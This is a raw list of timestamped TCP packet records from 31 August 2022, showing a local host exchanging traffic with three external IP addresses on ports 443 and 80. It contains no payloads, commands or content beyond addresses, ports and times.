Aug 31, 2022 08:34:26.063517094 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.063523054 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.063543081 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.063570976 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.063596010 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.078087091 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.078145027 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.078185081 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.078191996 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.078207970 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.078267097 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.079111099 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.079171896 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.079221964 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.079226017 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.079240084 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.079262018 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.079281092 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.079287052 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.079294920 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.079325914 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.079329967 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.079377890 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.079387903 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.079428911 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.079803944 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.079865932 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.079894066 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.079909086 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.079924107 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.079941034 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.079958916 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.079965115 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.079978943 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.079988003 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.080024958 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.080054998 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.080117941 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.080118895 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.080132008 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.080173016 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.080183029 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.080184937 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.080198050 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.080231905 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.080236912 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.080260038 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.080272913 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.080281973 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.080315113 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.080349922 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.080401897 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.080895901 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.080914021 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:27.467847109 CEST	49761	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:27.629523993 CEST	80	49761	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:27.629620075 CEST	49761	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:27.629734039 CEST	49761	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:27.629754066 CEST	49761	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:27.788070917 CEST	80	49761	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:28.119139910 CEST	80	49761	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:28.119178057 CEST	80	49761	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:28.119287968 CEST	49761	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:28.175596952 CEST	49761	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:28.231467009 CEST	49762	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:28.392767906 CEST	80	49762	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:28.392791986 CEST	80	49761	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:28.392945051 CEST	49762	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:28.393060923 CEST	49762	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:28.393074036 CEST	49762	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:28.551645041 CEST	80	49762	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:28.882700920 CEST	80	49762	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:28.882725954 CEST	80	49762	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:28.882807016 CEST	49762	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:28.883049011 CEST	49762	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:28.928708076 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.041620016 CEST	80	49762	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:29.114778042 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.114911079 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.115005970 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.304224014 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.304414988 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.304456949 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.304500103 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.304544926 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.304564953 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.304605007 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.304631948 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.304661036 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.305032969 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.305072069 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.305102110 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.305124998 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.305345058 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.305385113 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.305413961 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.305430889 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.305658102 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.305696964 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.305721998 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.305743933 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.504398108 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.504434109 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.504446983 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.504462004 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.504493952 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.504506111 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.504512072 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.504547119 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.504970074 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.504987001 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.504997969 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.505033970 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.505269051 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.505285978 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.505296946 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.505325079 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.505572081 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.505659103 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.505671978 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.505695105 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.505856037 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.505878925 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.505891085 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.505916119 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.506310940 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.506329060 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.506340981 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.506370068 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.506481886 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.506505013 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.506516933 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.506541014 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.506843090 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.506861925 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.506875038 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.506911039 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.506989956 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.507302999 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.507364988 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.705657005 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.705686092 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.705698967 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.705712080 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.705727100 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.705739021 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.705785990 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.706022978 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.706340075 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.706357956 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.706371069 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.706425905 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.706433058 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.706451893 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.706459999 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.706552982 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.706871986 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.706892014 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.706903934 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.706949949 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.706954002 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.706973076 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.706984043 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.707010984 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.707406998 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.707425117 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.707437038 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.707463980 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.707715988 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.707735062 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.707745075 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.707772970 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.707839966 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.707856894 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.707868099 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.707902908 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.707942963 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.707959890 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.707971096 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.707998991 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.708635092 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.708655119 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.708667994 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.708694935 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.708736897 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.708754063 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.708784103 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.708801985 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.709140062 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.709157944 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.709192991 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.709207058 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.709352016 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.709369898 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.709381104 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.709409952 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.709665060 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.709724903 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.709738970 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.709774017 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.709909916 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.709964991 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.709978104 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.710007906 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.710344076 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.710395098 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.710408926 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.710515976 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.710582972 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.710599899 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.710611105 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.710642099 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.710908890 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.710927010 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.710969925 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.711000919 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.711107016 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.711154938 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.711168051 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.711206913 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.909908056 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.909944057 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.909970045 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.909993887 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.910015106 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.910029888 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.910031080 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.910057068 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.910594940 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.910626888 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.910650969 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.910680056 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.910761118 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.910788059 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.910803080 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.910840034 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.911220074 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.911252022 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.911273003 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.911298037 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.911322117 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.911360979 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.911389112 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.911406994 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.911679983 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.911732912 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.911756039 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.911776066 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.911900997 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.911927938 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.911947966 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.911973000 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.912302971 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.912348986 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.912368059 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.912396908 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.912427902 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.912455082 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.912473917 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.912501097 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.912950039 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.912980080 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.913043022 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.913044930 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.913182974 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.913214922 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.913234949 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.913259983 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.913316011 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.913347960 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.913372040 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.913388968 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.913809061 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.913840055 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.913862944 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.913892984 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.914006948 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.914037943 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.914056063 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.914074898 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.914079905 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.914136887 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.914154053 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.914180994 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.914201021 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.914267063 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.914285898 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.914356947 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.914582968 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.914665937 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.914684057 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.914720058 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.914757967 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.914781094 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.914793968 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.914819956 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.915138960 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.915167093 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.915182114 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.915210009 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.915298939 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.915344000 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.915370941 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.915394068 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.915638924 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.915663004 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.915677071 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.915703058 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.915899038 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.915923119 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.915936947 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.915963888 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:29.916222095 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.916244984 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.916258097 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:29.916295052 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.119139910 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.119177103 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.119199038 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.119273901 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.119520903 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.119643927 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.119666100 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.119693995 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.119704008 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.119777918 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.119803905 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.119827032 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.119857073 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.119865894 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.119889021 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.119919062 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.120110989 CEST	80	49763	85.209.157.230	192.168.2.3
